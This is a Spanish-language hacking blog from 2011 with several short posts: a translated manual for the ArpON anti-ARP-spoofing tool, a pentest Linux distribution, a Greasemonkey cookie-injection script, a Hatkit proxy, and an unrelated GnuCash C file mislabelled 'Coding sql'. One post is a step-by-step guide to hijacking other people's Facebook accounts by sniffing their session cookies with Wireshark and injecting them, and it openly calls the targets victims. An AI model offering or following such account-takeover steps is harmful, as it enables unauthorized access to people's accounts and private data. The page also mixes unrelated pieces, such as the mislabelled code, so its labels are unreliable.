NOTA: La cuenta específica será bloqueado durante 24 horas después de este cambio de contraseña y dirección del usuario de correo recibe una notificación de cambio de contraseña, así como los nombres de los tres amigos que se les dio los códigos. Sin embargo, si estos son amigos con nombres falsos, que ya no sigue la materia que hoy conocemos sus nombres.

Ahora bien, si un usuario de Facebook podría de hecho estar en una situación en la que una cuenta de Facebook no se comprueba en un periodo de 24 horas, sobre todo porque nos gusta hacer alarde de nuestras actividades a través de mensajes de estado en Facebook. Y si la cuenta está marcada con frecuencia, la cuenta depende del tiempo de respuesta de Facebook, que fácilmente puede extenderse a un número de días.
El fondo es que no se exponga a las personas que no conoces.

Fuente:http://hackguide4u.blogspot.com/2011/05/how-to-hack-facebook-passwords-by.html?utm_source=feedburner&utm_medium=email&utm_campaign=Feed%3A+LearnHowToHackEthicalHacking+%28Learn+How+to+Hack+%2C+Ethical+Hacking+Tutorials+and+Cyber+Security+Tips%29

Traduccion: Dellcom1@.

Comentarios: Provando.

Saludos Mundo Libre.

jueves, 5 de mayo de 2011

39

Saludos Mundo Libre:

Feliz 39 anos Dellcom1@ Sigue en el pent testing por muchos anos mas.

FELIZ CUMPLEANOS. de MUNDO LIBRE.

Saludos Mundo libre.

8-) 8-) 8-) 8-) 8-) 8-) 8-) Hacking 8-) 8-) 8-) 8-) 8-) 8-) 8-) 8-) 8-) 8-)

ArpOn

Saludos Mundo libre:

Hoy quiero platicar de ArpOn:

Arpón (ARP inspección controlador) es un demonio controlador portátil que hacer ARP
seguridad con el fin de evitar el hombre en el medio (MITM) a través de ARP Spoofing
/ ataques de envenenamiento. Detecta y bloquea los ataques también se deriva de ella para
ataques más complejos, como: DHCP Spoofing, suplantación de DNS, Web Spoofing, Ses-
Secuestro de iones y SSL / TLS secuestro y ataques de cooperación.

Esto es posible utilizando tres tipos de lucha contra la ARP Envenenamiento tecnicas: el
primero se basa en Sarpi o "estática ARP Inspection" en configurado estáticamente
redes sin DHCP, y la segunda en DARPI o "Dynamic ARP Inspection" en
dinámicamente configurado redes con DHCP, y el tercero en HARPI o "híbrido
ARP inspección "in" híbrido "de redes, que está en forma estática y dinámica
(DHCP) configurado redes.

Sarpi, DARPI y HARPI protege tanto unidireccional, bidireccional y di-
ataques stributed: en la "protección unidireccional" es necesario que Arpón
está instalado y ejecutándose en un nodo de la conexión atacado; en "Bi-
protección direccional "es necesario que Arpón está instalado y funcionando en
dos nodos de la conexión atacado; en la "protección distribuida" es re-
Arpón exigía que se instala y se ejecuta en todos los nodos de las conexiones
atacado. Todos los demás nodos debe de existir Arpón no estarán protegidos de los ataques.

Arpón tanto, es una solución basada en host que no modifica norma ARP
protocolo de base, sino que establece las políticas precisas utilizando Sarpi de estática
redes, DARPI de redes dinámicas y HARPI para redes híbridas así
hacer protocolo estandarizado de hoy de trabajo y seguro de cualquier extranjero
intrusión.

CARACTERÍSTICAS:

- Detecta y bloquea hombre en el medio a través de ARP Spoofing envenenamiento
ataques en forma estática, dinámicamente (DHCP), configurar redes híbridas
- Detecta y bloquea los ataques derivados: DHCP spoofing, DNS spoofing WEB
Suplantación de identidad, secuestro de sesión SSL / TLS Secuestro y cooperación
- Detecta y bloquea unidireccional, bidireccional y distribuido
ataques
- No afecta a la eficacia de la comunicación del protocolo ARP
- No afecta el tiempo de respuesta de la raza de los ataques
- subprocesos múltiples en todos los sistemas operativos compatibles
- Se gestiona la interfaz de red en desconectar, de arranque, hibernación y su-
spension OS características
- Funciona en espacio de usuario por razones de portabilidad OS
- Fácil de configurar a través de interruptores de línea de comandos, siempre que haya
permisos de root
- Probado contra Ettercap, Caín y Abel, dsniff y otras herramientas

OPCIONES:

MODO DE ACCIÓN

-N (- Niza)
Establece la prioridad del PID de la CPU (por defecto: 0 agradable).

-P (- pid-file)
Establece el dispositivo Ethernet manualmente.

-O (- interfaz-automático)
Establece Ethernet dispositivo automáticamente.

-L (- interfaz-lista)
Imprime todos los dispositivos Ethernet.

ESTÁTICA DE INSPECCIÓN ARP

Sarpi detecta y bloquea el hombre en el medio (MITM) a través de envenenamiento de ARP
/ Ataques de suplantación y es contramedida contra estos ataques y
sus derivados, como: DHCP Spoofing, suplantación de DNS, Web Spoofing, Sesión
Secuestro y SSL / TLS secuestro y ataques de cooperación.
Se administra una lista con entradas estáticas, por lo que es una elección óptima en
los configurados estáticamente redes sin DHCP.

Por último, es posible utilizar Sarpi como un demonio, con el "MODO DE TRABAJO"
y "RESUMEN DE MODO" característica de Arpón. Es compatible con la salida demonio por SIGINT,
SIGQUIT SIGTERM, y reiniciar el demonio por SIGHUP y señales SIGCONT POSIX.

-C (- Sarpi-cache)
Establece ARP caché de tiempo de espera volver a cargar (por defecto: 10 minutos).

-S (- Sarpi)
Administra ARP caché estática.

DINÁMICA DE INSPECCIÓN ARP

DARPI detecta y bloquea el hombre en el medio (MITM) a través de envenenamiento de ARP
/ Ataques de suplantación y es contramedida contra estos ataques y
sus derivados, como: DHCP Spoofing, suplantación de DNS, Web Spoofing, Sesión
Secuestro y SSL / TLS secuestro y ataques de cooperación.
Se administra únicamente una lista con las entradas dinámicas. Por lo tanto es una opción de
solución IMAL en las redes dinámicamente configurado con DHCP.

Por último, es posible utilizar DARPI como un demonio, con el "MODO DE TRABAJO"
y "RESUMEN DE MODO" característica de Arpón. Es compatible con la salida demonio por SIGINT,
SIGQUIT SIGTERM, y reiniciar el demonio por SIGHUP y señales SIGCONT POSIX.

-Y (- darpi-timeout)
Establece las entradas ARP de tiempo de espera de respuesta (por defecto: 500 milisegundos,
min 100 ms, máximo 999ms).

-D (- darpi)
Administra ARP caché de forma dinámica.

HÍBRIDO DE INSPECCIÓN ARP

HARPI detecta y bloquea el hombre en el medio (MITM) a través de envenenamiento de ARP
/ Ataques de suplantación y es contramedida contra estos ataques y
sus derivados, como: DHCP Spoofing, suplantación de DNS, Web Spoofing, Sesión
Secuestro y SSL / TLS secuestro y ataques de cooperación.
Maneja dos listas al mismo tiempo: una lista con entradas estáticas y una
lista con las entradas dinámicas. Por lo tanto es una solución óptima en el estado-
camente y de forma dinámica (DHCP) configurado redes.

Por último, es posible utilizar DARPI como un demonio, con el "MODO DE TRABAJO"
y "RESUMEN DE MODO" característica de Arpón. Es compatible con la salida demonio por SIGINT,
SIGQUIT SIGTERM, y reiniciar el demonio por SIGHUP y señales SIGCONT POSIX.

-C (- Sarpi-cache)
Establece ARP caché de tiempo de espera volver a cargar (por defecto: 10 minutos).

-Y (- darpi-timeout)
Establece las entradas ARP de tiempo de espera de respuesta (por defecto: 500 milisegundos,
min 100 ms, máximo 999ms).

-H (- harpi)
Administrar caché de ARP estática y dinámicamente.

VARIAS CARACTERÍSTICAS

-E (- Licencia)
Imprime la página de licencia.

-V (- versión)
Imprime el número de versión.

-H (- help)
Imprime la página de ayuda de resumen.

EJEMPLOS:

- Static ARP Inspection:

Example of /etc/arpon.sarpi:

# Example of arpon.sarpi
#
192.168.1.1 0:25:53:29:f6:69
172.16.159.1 0:50:56:c0:0:8
#

With 1 minut of timeout for ARP Cache refresh:

riemann:build root# arpon -i en1 -x 1 -S

17:04:43 WAIT LINK on en1...
17:04:47 SARPI on
DATE = <04/28/2011>
DEV =
HW = <0:23:6c:7f:28:e7>
IP = <192.168.1.4>
CACHE =
17:04:47 ARP cache, REFRESH
src HW = <0:25:53:29:f6:69>
src IP = <192.168.1.1>
17:05:04 ARP cache, IGNORE
src HW = <0:11:d8:70:ef:1f>
src IP = <192.168.1.75>
17:05:47 ARP cache, UPDATE
src HW = <0:25:53:29:f6:69>
src IP = <192.168.1.1>
src HW = <0:50:56:c0:0:8>
src IP = <172.16.159.1>
...

- Dynamic ARP Inspection:

With 1 minut of timeout for ARP Cache refresh and 100 ms of
ARP entries response timeout:

riemann:build root# arpon -i en1 -y 100 -D

17:07:24 WAIT LINK on en1...
17:07:27 DARPI on
DATE = <04/28/2011>
DEV =
HW = <0:23:6c:7f:28:e7>
IP = <192.168.1.4>
17:07:27 ARP cache, DENY
src HW = <0:25:53:29:f6:69>
src IP = <192.168.1.1>
17:07:31 ARP cache, ACCEPT
src HW = <0:11:d8:70:ef:1f>
src IP = <192.168.1.75>
...

- Hybrid ARP Inspection:

Example of /etc/arpon.sarpi:

# Example of arpon.sarpi
#
192.168.1.1 0:25:53:29:f6:69
172.16.159.1 0:50:56:c0:0:8
#

With 5 minuts of timeout for ARP Cache refresh and 800 ms of
ARP entries response timeout:

riemann:build root# arpon -i en1 -x 5 -y 800 -H

17:10:05 WAIT LINK on en1...
17:10:07 HARPI on
DATE = <04/28/2011>
DEV =
HW = <0:23:6c:7f:28:e7>
IP = <192.168.1.4>
CACHE =
17:10:18 ARP cache, ACCEPT
src HW = <0:11:d8:70:ef:1f>
src IP = <192.168.1.75>
17:10:10 ARP cache, DENY
src HW = <0:1b:63:c9:b2:96>
src IP = <192.168.1.151>
17:11:06 ARP cache, REFRESH
src HW = <0:25:53:29:f6:69>
src IP = <192.168.1.1>
17:11:07 ARP cache, UPDATE
src HW = <0:25:53:29:f6:69>
src IP = <192.168.1.1>
src HW = <0:50:56:c0:0:8>
src IP = <172.16.159.1>
...

AUTORES

ArpON was writen by:

Andrea Di Pasquale

The current version is available via http:

http://arpon.sourceforge.net

FALLOS:

Por favor, envíe los problemas, errores, dudas, mejoras deseables, parche,
contribuciones de código fuente, etc:

spikey.it @ gmail.com

Saludos Mundo libre.

martes, 3 de mayo de 2011

NodeZero Linux

Saludos Mundo Libre.

He aqui una exelente distribucion linux que ya he probado y me parece exelente este diestro es NodeZero es linux basada en Ubuntu diseñada como un sistema completo que también puede ser utilizado para pruebas de penetración. NodeZero utiliza repositorios de Ubuntu para que su sistema estará siempre al día. La configuración del sistema es básico y es diseñado principalmente para la instalación del disco y personalizar como quieras.

Con NodeZero viene alrededor de 300 herramientas para pruebas de penetración y un conjunto de servicios básicos que se necesitan en las pruebas de penetración. También estamos preparando un depósito de pentest herramientas para que su sistema estará al día en todo momento.





La recomiendo mucho como opcion al pen testing la podremos descargar desde su web:

http://netinfinity.org/

Disfrutenla

saludos Mundo Libre.

lunes, 2 de mayo de 2011

Cookie Injection Usando Greasemonkey

Saludos Mundo libre.

Hay varios plugins para Firefox que permite al usuario manipular las cookies del navegador. Sin embargo, la mayoría de estos plugins obligar al usuario a manipular las cookies de forma individual. Esto puede llegar a ser tedioso si el usuario es simplemente "importador " cookies "de, por ejemplo, un vertedero de Wireshark.

El userscript CookieInjector simplifica este proceso, al permitir al usuario copiar y pegar la parte de cookies de un vertedero y tienen las cookies del vertedero crea automáticamente en la página web, se está viendo.

Para usar el script:

Arranca Wireshark, formalmente Ethereal, si usted no tiene Wireshark lo pueda levantar desde: http://www.wireshark.org/. inicio para el tráfico en la misma interfaz que utiliza para acceder a Internet. Para reducir los paquetes adicionales, escriba tcp como un filtro de captura. TCP es un protocolo de capa de transporte con el transporte confiable, control de la congestión y las transferencias orientadas a la conexión. Dado que utiliza conexiones HTTP entre el cliente y el servidor y por lo tanto el protocolo TCP, es es seguro para filtrar todos los paquetes no-TCP. A fin de filtrar los paquetes que Wireshark es mostrar http.cookie entrar en el campo de filtro. Esto filtrar todos los paquetes que no está utilizando el protocolo de capa de aplicación HTTP y HTTP todos los paquetes que no contengan cookies.

Luego vaya a un sitio web que utiliza las cookies. La mayoría de sitios web que apoyan los inicios de sesión de usuario o carritos de la compra utiliza cookies para estos fines. Asegúrese de que el sitio web que usted visita no encripta toda la sesión (por ejemplo, un sitio web de banca), de lo contrario los paquetes serán encriptados y no pueden ver en Wireshark. Después de capturar un par de paquetes que contienen las cookies desplácese hacia abajo a la parte de transferencia de hipertexto de la vista previa de paquetes, que se expanda, y desplácese hacia abajo a la línea de galletas. Haga clic derecho sobre la línea, y seleccione Bytes copia-> (para imprimir sólo texto). Esto copiará la parte legible por humanos del paquete que representa a las cookies asociadas con este sitio web.

Si no lo ha hecho, instalar Greasemonkey, y el userscript CookieInjector. Borrar los datos privados, asegurando que las cookies y las opciones de sesiones autenticadas están seleccionados. Esto eliminará todas las cookies, para que podamos ver la secuencia de comandos en acción. Pulse Alt-c para ver el diálogo CookieInjector, pegue la cadena de cookie de Wireshark en el cuadro de texto y haga clic en Aceptar.

¡Enhorabuena! En tu navegador ya se han restaurado!

¿Cómo funciona el script:

Cuando la página se ha cargado la clase CookieInjector se inicializa. Se trata de establecer el diálogo y la unión de una función al evento onKeyDown. Cuando el usuario presiona la combinación ALT-tecla C, se llama la función keyPress CookieInjector, que comprueba si la combinación de teclas correcta se ha disparado. Si es válido, el estilo del diálogo de la pantalla se cambia, por lo que es visible en el centro de la página.

Cuando el usuario entra en la cookie que se copió de Wireshark, el guión hace una limpieza rápida de la cadena, y luego añade las galletas de la sesión de navegación.

Tenga en cuenta que la cookie de acogida será el dominio que se carga en el navegador la cookie cuando se inyecta. La ruta de acceso raíz se utilizará para la raíz de la cookie para asegurar que la cookie es persistente a través de todo el dominio. Por último, la cookie es una cookie de sesión, lo que significa que la cookie expira cuando se cierra el navegador.

Implicaciones de seguridad de cookies

El uso de cookies para la identificación y autenticación presenta un riesgo de seguridad peligrosas para las conexiones sin cifrar. La mayoría de sitios web (como Hotmail, Facebook y Gmail), sólo cifrar el nombre de usuario y contraseña cuando inicialmente la autenticación del usuario y el tráfico de todos tras el apretón de manos inicial es sin cifrar. Como resultado, la información de las cookies puede ser leído por cualquier persona que está escuchando con el software adecuado, y los usuarios malintencionados pueden robar las cookies de otros usuarios de la red, puedan acceder a sus cuentas. Sin cifrar o débilmente conexiones cifradas inalámbrica (aquellos que no utilizan WPA o esquemas de cifrado más fuerte) son especialmente susceptibles a robar galletas. Esto se debe a cualquier persona con una tarjeta inalámbrica simplemente puede escuchar todo el tráfico de red, ya que se transmite por el aire, interceptar las cookies, imágenes, páginas web y cualquier otro tipo de tráfico que puede o no estar destinados para ellos. Interceptar el tráfico en una red conmutada (la mayoría de redes de área local) es más complejo, pero se puede lograr mediante envenenamiento ARP o software como Ettercap

La lección final es utilizar conexiones cifradas, como https, siempre que la privacidad es importante. Recuerde siempre que si la conexión es cifrada alguien podría estar escuchando

Saludos Mundo Libre.

Robo de cookies para hacking Facebook

Saludos mundo Libre.

Hoy quiero hablarles de un tema muy polemico que es el robo de cookie para poder desfasar o secuestrar las cuentas de tus victimas

Facebook normalmente autentifica asus usuarios con el uso de cookies. Así, cuando el usuario inicia sesión en su cuenta, el servidor de Facebook envía una cookie de sesión en el navegador del usuario y esta cookie es utiliza por el servidor para autenticar al usuario. Así que, si se posee la cuenta de cookie de la víctima, Facebook te dará el acceso a la cuenta de la víctima.

como lograremos esto de la siguiente manera.

1. Uso de Wireshark o HTTP Debugger Pro, captura de la cookie de la víctima cuenta de Facebook. Wireshark el tutorial para obtener más información sobre cómo capturar cookie Consulte Facebook.

2. Instalar Greasemonkey y CookieInjector script en Firefox. Reiniciar Firefox.

3. Ahora, vaya a Facebook.com. Asegúrese de que no está en el sistema in Usando el teclado, presione Alt + C para ver un cuadro de texto. Introduzca la cookie víctima que ha copiado en el paso 1 en este cuadro de texto y pulsa en Aceptar.

4. Ahora, sólo tiene que volver a cargar la página de Facebook y se encontrará conectado a la cuenta de la víctima Facebook.


Eso es todo amigos. Ahora eres capaz de hackear una cuenta de Facebook utilizando el método de robo de cookies. Este método funciona perfecto si la víctima no está utilizando ningún HTTPS cifrado SSL es decir, mientras que para acceder a su cuenta de Facebook. Si tienes cualquier problema en este tutorial de como hackear una cuenta de Facebook con el robo de cookies, por favor mencione en los comentarios.

Fuente:http://techotoys.net/2011/03/facebook-hack-how-to-hack-a-facebook-account-cookie-stealing.html

Author:Rajesh Chaukwale

Traduccion:Dellcom1@

Coding sql

Saludos Mundo libre.

Coding SQL.

Proporcionar contenedores para la incoación y la celebración de un archivo de sesión de edición.

/*
* FILE:
* Session.c
*
* FUNCTION:
* Provide wrappers for initiating/concluding a file-editing session.
*
* HISTORY:
* Created by Linas Vepstas December 1998
* Copyright (c) 1998-2000 Linas Vepstas
*/

/********************************************************************\
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License as *
* published by the Free Software Foundation; either version 2 of *
* the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License*
* along with this program; if not, contact: *
* *
* Free Software Foundation Voice: +1-617-542-5942 *
* 59 Temple Place - Suite 330 Fax: +1-617-542-2652 *
* Boston, MA 02111-1307, USA gnu@gnu.org *
\********************************************************************/

#include
#include
#include
#include
#include
#include
#include
#include

#include "BackendP.h"
#include "FileIO.h"
#include "FileIOP.h"
#include "Group.h"
#include "Session.h"
#include "util.h"

struct _session {
AccountGroup *topgroup;

/* the requested session id, in the form or a URI, such as
* file:/some/where, or sql:server.host.com:555
*/
char *sessionid;

/* if session failed, this records the failure reason
* (file not found, etc).
* the standard errno values are used.
*/
int errtype;

/* ---------------------------------------------------- */
/* teh following struct members apply only for file-io */
/* the fully-resolved path to the file */
char *fullpath;

/* name of lockfile, and filedescr */
char * lockfile;
char * linkfile;
int lockfd;

/* ---------------------------------------------------- */
/* this struct member applies only for SQL i/o */
Backend *backend;

};

/* ============================================================== */

Session *
xaccMallocSession (void)
{
Session *sess;
sess = (Session *) malloc (sizeof (Session));

xaccInitSession (sess);
return sess;
}

void
xaccInitSession (Session *sess)
{
if (!sess) return;
sess->topgroup = NULL;
sess->errtype = 0;
sess->sessionid = NULL;
sess->fullpath = NULL;
sess->lockfile = NULL;
sess->linkfile = NULL;
sess->lockfd = -1;
sess->backend = NULL;
};

/* ============================================================== */

int
xaccSessionGetError (Session * sess)
{
int retval;

if (!sess) return EINVAL;
retval = sess->errtype;
sess->errtype = 0;
return (retval);
}

/* ============================================================== */

AccountGroup *
xaccSessionGetGroup (Session *sess)
{
if (!sess) return NULL;
return (sess->topgroup);
}

void
xaccSessionSetGroup (Session *sess, AccountGroup *grp)
{
if (!sess) return;
sess->topgroup = grp;
}

/* ============================================================== */

Backend *
xaccSessionGetBackend (Session *sess)
{
if (!sess) return NULL;
return (sess->backend);
}

/* ============================================================== */

char *
xaccSessionGetFilePath (Session *sess)
{
if (!sess) return NULL;
return (sess->fullpath);
}

/* ============================================================== */

AccountGroup *
xaccSessionBegin (Session *sess, const char * sid)
{
AccountGroup *retval;

if (!sess) return NULL;

/* clear the error condition of previous errors */
sess->errtype = 0;

/* check to see if this session is already open */
if (sess->sessionid) {
sess->errtype = ETXTBSY;
return NULL;
}

/* seriously invalid */
if (!sid) {
sess->errtype = EINVAL;
return NULL;
}

/* check to see if this is a type we know how to handle */
if (strncmp (sid, "file:", 5)) {
sess->errtype = ENOSYS;
return NULL;
}

/* add 5 to space past 'file:' */
retval = xaccSessionBeginFile (sess, sid+5);

return retval;
}

/* ============================================================== */

static AccountGroup *
xaccSessionBeginSQL (Session *sess, const char * dbname)
{
Backend *be = NULL;
AccountGroup *grp = NULL;

if (!sess) return NULL;

// #define SQLHACK
#ifdef SQLHACK
{
/* for testing the sql, just a hack, remove later ... */
extern Backend * pgendNew (void);
be = pgendNew ();
}
#endif

sess->backend = be;

if (be && be->session_begin) {
grp = (be->session_begin) (sess, dbname);
}
// comment out until testing done, else clobber file ...
// sess->topgroup = grp;
xaccGroupSetBackend (sess->topgroup, be);

return (sess->topgroup);
}

/* ============================================================== */

AccountGroup *
xaccSessionBeginFile (Session *sess, const char * filefrag)
{
struct stat statbuf;
char pathbuf[PATH_MAX];
char *path = NULL;
int rc;

if (!sess) return NULL;

/* clear the error condition of previous errors */
sess->errtype = 0;

/* check to see if this session is already open */
if (sess->sessionid) {
sess->errtype = ETXTBSY;
return NULL;
}

/* seriously invalid */
if (!filefrag) {
sess->errtype = EINVAL;
return NULL;
}

/* ---------------------------------------------------- */
/* OK, now we try to find or build an absolute file path */

sess->fullpath = xaccResolveFilePath (filefrag);
if (! (sess->fullpath)) {
sess->errtype = ERANGE;
return NULL; /* ouch */
}

/* Store the sessionid URL also ... */
strcpy (pathbuf, "file:");
strcat (pathbuf, filefrag);
sess->sessionid = strdup (pathbuf);

/* ---------------------------------------------------- */
/* We should now have a fully resolved path name.
* Lets see if we can get a lock on it.
*/

sess->lockfile = malloc (strlen (sess->fullpath) + 5);
strcpy (sess->lockfile, sess->fullpath);
strcat (sess->lockfile, ".LCK");

rc = stat (sess->lockfile, &statbuf);
if (!rc) {
/* oops .. file is all locked up .. */
sess->errtype = ETXTBSY;
free (sess->sessionid); sess->sessionid = NULL;
free (sess->fullpath); sess->fullpath = NULL;
free (sess->lockfile); sess->lockfile = NULL;
return NULL;
}
sess->lockfd = open (sess->lockfile, O_RDWR | O_CREAT | O_EXCL , 0);
if (0 > sess->lockfd) {
/* oops .. file is all locked up .. */
sess->errtype = ETXTBSY;
free (sess->sessionid); sess->sessionid = NULL;
free (sess->fullpath); sess->fullpath = NULL;
free (sess->lockfile); sess->lockfile = NULL;
return NULL;
}

/* OK, now work around some NFS atomic lock race condition
* mumbo-jumbo. We do this by linking a unique file, and
* then examing the link count. At least that's what the
* NFS programmers guide suggests.
* Note: the "unique filename" must be unique for the
* triplet filename-host-process, otherwise accidental
* aliases can occur.
*/
/* appearently, even this code may not work for some NFS
* implementations. In the long run, I am told that
* ftp.debian.org
* /pub/debian/dists/unstable/main/source/libs/liblockfile_0.1-6.tar.gz
* provides a better long-term solution.
*/
strcpy (pathbuf, sess->lockfile);
path = strrchr (pathbuf, '.');
sprintf (path, ".%lx.%d.LNK", gethostid(), getpid());
link (sess->lockfile, pathbuf);
rc = stat (sess->lockfile, &statbuf);
if (rc) {
/* oops .. stat failed! This can't happen! */
sess->errtype = ETXTBSY;
unlink (pathbuf);
close (sess->lockfd);
unlink (sess->lockfile);
free (sess->sessionid); sess->sessionid = NULL;
free (sess->fullpath); sess->fullpath = NULL;
free (sess->lockfile); sess->lockfile = NULL;
return NULL;
}

if (2 != statbuf.st_nlink) {
/* oops .. stat failed! This can't happen! */
sess->errtype = ETXTBSY;
unlink (pathbuf);
close (sess->lockfd);
unlink (sess->lockfile);
free (sess->sessionid); sess->sessionid = NULL;
free (sess->fullpath); sess->fullpath = NULL;
free (sess->lockfile); sess->lockfile = NULL;
return NULL;
}
sess->linkfile = strdup (pathbuf);

/* ---------------------------------------------------- */
/* OK, if we've gotten this far, then we've succesfully obtained
* an atomic lock on the file. Go read the file contents ...
* well, read it only if it exists ...
*/

sess->errtype = 0;
sess->topgroup = NULL;
rc = stat (sess->fullpath, &statbuf);
if (!rc) {
sess->topgroup = xaccReadAccountGroupFile (sess->fullpath);
}

#ifdef SQLHACK
/* for testing the sql, just a hack, remove later ... */
/* this should never ever appear here ... */
xaccSessionBeginSQL (sess, "postgres://localhost/gnc_bogus");
#endif

return (sess->topgroup);
}

/* ============================================================== */

void
xaccSessionSave (Session *sess)
{
if (!sess) return;

/* if the fullpath doesn't exist, either the user failed to initialize,
* or the lockfile was never obtained ... either way, we can't write. */
sess->errtype = 0;

if (!(sess->fullpath)) {
sess->errtype = ENOLCK;
return;
}

if (sess->topgroup) {
int error = xaccWriteAccountGroupFile (sess->fullpath, sess->topgroup);
if (error < 0) sess->errtype = errno;
} else {
/* hmm ... no topgroup means delete file */
unlink (sess->fullpath);
}
}

/* ============================================================== */

void
xaccSessionEnd (Session *sess)
{
if (!sess) return;
sess->errtype = 0;

if (sess->linkfile) unlink (sess->linkfile);
if (0 < sess->lockfd) close (sess->lockfd);
if (sess->lockfile) unlink (sess->lockfile);
if (sess->sessionid) free (sess->sessionid); sess->sessionid = NULL;
if (sess->fullpath) free (sess->fullpath); sess->fullpath = NULL;
if (sess->lockfile) free (sess->lockfile); sess->lockfile = NULL;
if (sess->linkfile) free (sess->linkfile); sess->linkfile = NULL;
sess->topgroup = NULL;

return;
}

void
xaccSessionDestroy (Session *sess)
{
if (!sess) return;
xaccSessionEnd (sess);
free (sess);
}


/* ============================================================== */
/*
* If $HOME/.gnucash/data directory doesn't exist, then create it.
*/

static void
MakeHomeDir (void)
{
int rc;
struct stat statbuf;
char *home, *path;

/* Punt. Can't figure out where home is. */
home = getenv ("HOME");
if (!home) return;

path = alloca (strlen (home) +50);
strcpy (path, home);
strcat (path, "/.gnucash");

rc = stat (path, &statbuf);
if (rc) {
/* assume that the stat failed only because the dir is absent,
* and not because its read-protected or other error.
* Go ahead and make it. Don't bother much with checking mkdir
* for errors; seems pointless ... */
mkdir (path, S_IRWXU); /* perms = S_IRWXU = 0700 */
}

strcat (path, "/data");
rc = stat (path, &statbuf);
if (rc)
mkdir (path, S_IRWXU);
}

/* ============================================================== */

/* XXX hack alert -- we should be yanking this out of
* some config file
*/
static char * searchpaths[] = {
"/usr/share/gnucash/data/",
NULL,
};

char *
xaccResolveFilePath (const char * filefrag)
{
struct stat statbuf;
char pathbuf[PATH_MAX];
char *path = NULL;
int namelen, len;
int i, rc;

/* seriously invalid */
if (!filefrag) return NULL;

/* ---------------------------------------------------- */
/* OK, now we try to find or build an absolute file path */

/* check for an absolute file path */
if ('/' == *filefrag) {
rc = stat (filefrag, &statbuf);
if ((!rc) && (S_ISREG(statbuf.st_mode)))
return (strdup (filefrag));
return NULL;
}

/* get conservative on the length so that sprintf(getpid()) works ... */
/* strlen ("/.LCK") + sprintf (%x%d) */
namelen = strlen (filefrag) + 25;

for (i=-2; 1 ; i++)
{

switch (i) {
case -2: {
/* try to find a file by this name in the cwd ... */
path = getcwd (pathbuf, PATH_MAX);
if (!path) continue;
len = strlen (path) + namelen;
if (PATH_MAX <= len) continue; strcat (path, "/"); break; } case -1: { /* look for something in $HOME/.gnucash/data */ path = getenv ("HOME"); if (!path) continue; len = strlen (path) + namelen + 20; if (PATH_MAX <= len) continue; strcpy (pathbuf, path); strcat (pathbuf, "/.gnucash/data/"); path = pathbuf; break; } default: { /* OK, check the user-configured paths */ path = searchpaths[i]; if (path) { len = strlen (path) + namelen; if (PATH_MAX <= len) continue; strcpy (pathbuf, path); path = pathbuf; } } } if (!path) break; /* lets see if we found the file here ... */ /* haral: if !S_ISREG: there is something with that name * but it's not a regular file */ strcat (path, filefrag); rc = stat (path, &statbuf); if ((!rc) && (S_ISREG(statbuf.st_mode))) { return (strdup (path)); } } /* make sure that the gnucash home dir exists. */ MakeHomeDir(); /* OK, we didn't find the file. */ /* If the user specified a simple filename (i.e. no slashes in it) * then create the file. But if it has slashes in it, then creating * a bnuch of directories seems like a bad idea; more likely, the user * specified a bad filename. So return with error. */ if (strchr (filefrag, '/')) { return NULL; } /* Lets try creating a new file in $HOME/.gnucash/data */ path = getenv ("HOME"); if (path) { len = strlen (path) + namelen + 50; if (PATH_MAX > len) {
strcpy (pathbuf, path);
strcat (pathbuf, "/.gnucash/data/");
strcat (pathbuf, filefrag);
return (strdup (pathbuf));
}
}

/* OK, we still didn't find the file */
/* Lets try creating a new file in the cwd */
path = getcwd (pathbuf, PATH_MAX);
if (path) {
len = strlen (path) + namelen;
if (PATH_MAX > len) {
strcat (path, "/");
strcat (path, filefrag);
return (strdup (path));
}
}

return NULL;
}

/* ==================== END OF FILE ================== */


Fuente:https://github.com

Creador:peticolas (author.

Saludos Mundo Libre.

domingo, 1 de mayo de 2011

Hatkit Proxy

Saludos Mundo Libre.

El proxy es un Hatkit interceptar http / proxy TCP, que se basa en el Proxy de OWASP. Tiene una hermana-proyecto, que es el Datafiddler Hatkit
Antecedentes

El propósito principal del proxy Hatkit es crear un proxy mínima y ligera que almacena el tráfico en una instalación de almacenamiento fuera de línea donde se puede análisis realizado, es decir, todo tipo de análisis que lleva a cabo actualmente por los poderes propios (WebScarab / eructo / paros, etc) .

Además, como el tráfico http se almacena en un MongoDB, el tráfico se almacena en un objeto de nivel, manteniendo la estructura del tráfico analizado.
Hatkit características proxy

Las adiciones que se han aplicado en la parte superior de Owasp proxy son:

Swing con sede en la interfaz de usuario,
Capacidades de interceptación con el manual de edición, tanto para tráfico TCP y HTTP,
Poniendo de relieve la sintaxis (HTML / form-data / http), basado en JFlex, (Ver ficha)
Almacenamiento de tráfico HTTP en base de datos MongoDB, (Ver ficha)
Posibilidades para interceptar en el modo completamente cualificado (como todos los demás http-proxy) o modo de no-completo. Esto último significa que la interceptación se realiza * después * ha sido el anfitrión analiza, lo que permite al usuario enviar el contenido HTTP no válido.
Un conjunto de filtros para ignorar o procesar el tráfico que se dirige al proxy. El 'caso omiso' de tráfico se podrán seguir, hasta el punto final con un impacto mínimo en el rendimiento.

Para utilizar el proxy, descargue el archivo zip que se puede encontrar en la página BitBucket descarga (también se puede utilizar el enlace directo sobre la liberación de página).

$ wget https: / / bitbucket.org/holiman/hatkit-proxy/downloads/hatkit_proxy-0.5.1.zip
$ descomprimir hatkit_proxy-0.5.1.zip
$ hatkit_proxy-0.5.1/hatkit_proxy.sh

La ventana de proxy ahora debe saltar. Antes de la representación comienza realmente, es necesario hacer algunos ajustes. Tiene una ficha para el modo HTTP proxy, y otro para el modo de proxy TCP.

El proxy Hatkit hace uso de listas blancas y listas negras, lo que determina lo que el tráfico es realmente transformada (analizada y almacenada) por el proxy. Pide que no pasan son escuchados con un procesamiento mínimo para el host de destino, y el proxy no almacena ninguna información sobre ellos. Si utiliza blanco / negro-listas, que no es necesario utilizar herramientas FoxyProxy o similar. La lista negra se aplica después de la lista blanca.

Estas opciones están disponibles:

Período de sesiones
Este es el nombre de la base de datos MongoDB que se utilizará (y creado si no existe). El valor predeterminado es la fecha actual. Opcional - si no se suministra, sin tráfico se almacenarán.
WL dominio
